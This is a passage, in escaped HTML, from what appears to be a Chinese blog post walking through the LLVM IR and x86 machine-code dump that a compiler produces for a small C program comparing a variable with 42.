&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  store&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i32*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  store&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 40&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i32*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  %3&lt;&#x2F;span&gt;&lt;span&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;load&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i32*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  %4&lt;&#x2F;span&gt;&lt;span&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;add nsw&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %3&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  %5&lt;&#x2F;span&gt;&lt;span&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;icmp eq&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;42&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  br&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %5&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;label&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %6&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;label&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;6&lt;&#x2F;span&gt;&lt;span&gt;:                                                &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; preds = %0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;  %7&lt;&#x2F;span&gt;&lt;span&gt; = &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;call&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; @puts&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i8*&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; getelementptr inbounds&lt;&#x2F;span&gt;&lt;span&gt; ([&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt; x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i8&lt;&#x2F;span&gt;&lt;span&gt;], [&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt; x &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i8&lt;&#x2F;span&gt;&lt;span&gt;]* &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;@.str&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;i64&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  br&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; label&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;:                                                &lt;&#x2F;span&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; preds = %6, %0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;  ret&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; i32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这应该是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LLVM
IR，很明显&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;define dso_local i32 @main()&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;这一句是定义返回值是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;int32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;函数。&lt;&#x2F;p&gt;
&lt;p&gt;LLVM
IR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里一切数据都要指定类型与大小，就比如说这些&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;i32；变量用“%”开头，命令都是直接写，比如“store”&lt;&#x2F;p&gt;
&lt;p&gt;main&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里前四句是申请两个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;i32&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的内存，一个放&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;一个放&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40（变量&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;%3 = load i32, i32* %2, align 4&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;读入（这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;store、load&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;像&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RISC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;诶）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;%4 = add nsw i32 %3, 2&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;给 a 加
2，然后&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;%5 = icmp eq i32 %4, 42&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;比较结果等不等于&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;42（看来&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LLVM
IR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;并没有明确的寄存器，都是通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;=&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;赋值的，变成寄存器应该是之后才优化）&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;br i1 %5, label %6, label %8&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;llvm.org&#x2F;docs&#x2F;LangRef.html#i-br&quot;&gt;if-else&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了：true&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;goto&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;label6，也就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;call
puts&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;那句；否则是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;label8，直接&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;return
0。&lt;&#x2F;p&gt;
&lt;p&gt;到最后就变成对寄存器操作了：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;llvm&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# *** IR Dump After Check CFA info &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span&gt; insert CFI instructions if needed ***:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# Machine code for function &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;main:&lt;&#x2F;span&gt;&lt;span&gt; NoPHIs, TracksLiveness, NoVRegs&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Frame &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;Objects:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  fi#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;-1:&lt;&#x2F;span&gt;&lt;span&gt; size=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;, fixed, at location [SP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  fi#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;: size=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, at location [SP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-12&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  fi#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;: size=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;align&lt;&#x2F;span&gt;&lt;span&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;, at location [SP&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-16&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bb.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;%ir-block.0&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;  successors:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %bb.2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;%bb.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  frame-setup PUSH64r killed $rbp, implicit-def $rsp, implicit $rsp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  CFI_INSTRUCTION def_cfa_offset &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  CFI_INSTRUCTION offset $rbp, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-16&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $rbp = frame-setup MOV64rr $rsp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  CFI_INSTRUCTION def_cfa_register $rbp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $rsp = frame-setup SUB64ri8 $rsp(tied-def &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;, implicit-def dead $eflags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  MOV32mi $rbp, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, $noreg, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-4&lt;&#x2F;span&gt;&lt;span&gt;, $noreg, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt; :: (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;store&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt; into &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;%ir.1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  MOV32mi $rbp, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, $noreg, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-8&lt;&#x2F;span&gt;&lt;span&gt;, $noreg, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;40&lt;&#x2F;span&gt;&lt;span&gt; :: (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;store&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span&gt; into &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;%ir.2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  renamable $eax = MOV32rm $rbp, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, $noreg, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;-8&lt;&#x2F;span&gt;&lt;span&gt;, $noreg :: (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;load&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; from&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %ir.2&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  renamable $eax = ADD32ri8 renamable $eax(tied-def &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;, implicit-def $eflags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  CMP32ri8 killed renamable $eax, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;42&lt;&#x2F;span&gt;&lt;span&gt;, implicit-def $eflags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  JCC_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;%bb.2&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;5&lt;&#x2F;span&gt;&lt;span&gt;, implicit $eflags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bb.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;%ir-block.6&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; predecessors: %bb.0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;  successors:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; %bb.2&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  renamable $rdi = LEA64r $rip, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;, $noreg, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;@.str&lt;&#x2F;span&gt;&lt;span&gt;, $noreg&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  CALL64pcrel32 &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;target&lt;&#x2F;span&gt;&lt;span&gt;-flags(x86-plt) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;@puts&lt;&#x2F;span&gt;&lt;span&gt;, &amp;lt;regmask $bh $bl $bp $bph $bpl $bx $ebp $ebx $hbp $hbx $rbp $rbx $r12 $r13 $r14 $r15 $r12b $r13b $r14b $r15b $r12bh $r13bh $r14bh $r15bh $r12d $r13d $r14d $r15d $r12w $r13w $r14w $r15w $r12wh &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 3&lt;&#x2F;span&gt;&lt;span&gt; more...&amp;gt;, implicit $rsp, implicit $&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;ssp&lt;&#x2F;span&gt;&lt;span&gt;, implicit killed $rdi, implicit-def $eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;bb.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;%ir-block.8&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;; predecessors: %bb.0, %bb.1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  renamable $eax = XOR32rr &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;undef&lt;&#x2F;span&gt;&lt;span&gt; $eax(tied-def &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;undef&lt;&#x2F;span&gt;&lt;span&gt; $eax, implicit-def $eflags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $rsp = frame-destroy ADD64ri8 $rsp(tied-def &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;), &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;16&lt;&#x2F;span&gt;&lt;span&gt;, implicit-def dead $eflags&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  $rbp = frame-destroy POP64r implicit-def $rsp, implicit $rsp&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  CFI_INSTRUCTION def_cfa $rsp, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;8&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  RETQ implicit killed $eax&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;# End machine code for function main.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;可以看到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;$rbp&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;呀，$eax&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;呀之类的寄存器出现，另外括号里有“%ir”的也像注释一样告诉你这对应&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;IR&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的哪一句，比如&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;MOV32mi $rbp, 1, $noreg, -8, $noreg, 40 :: (store 4 into %ir.2)&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;store i32 40, i32* %2, align 4&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;40&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;放进第二个变量里。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;CMP32ri8 killed renamable $eax, 42, implicit-def $eflags&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;是比较源码里的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;a&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;42，下一句&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;JCC_1&lt;&#x2F;code&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就是跳转（Jump
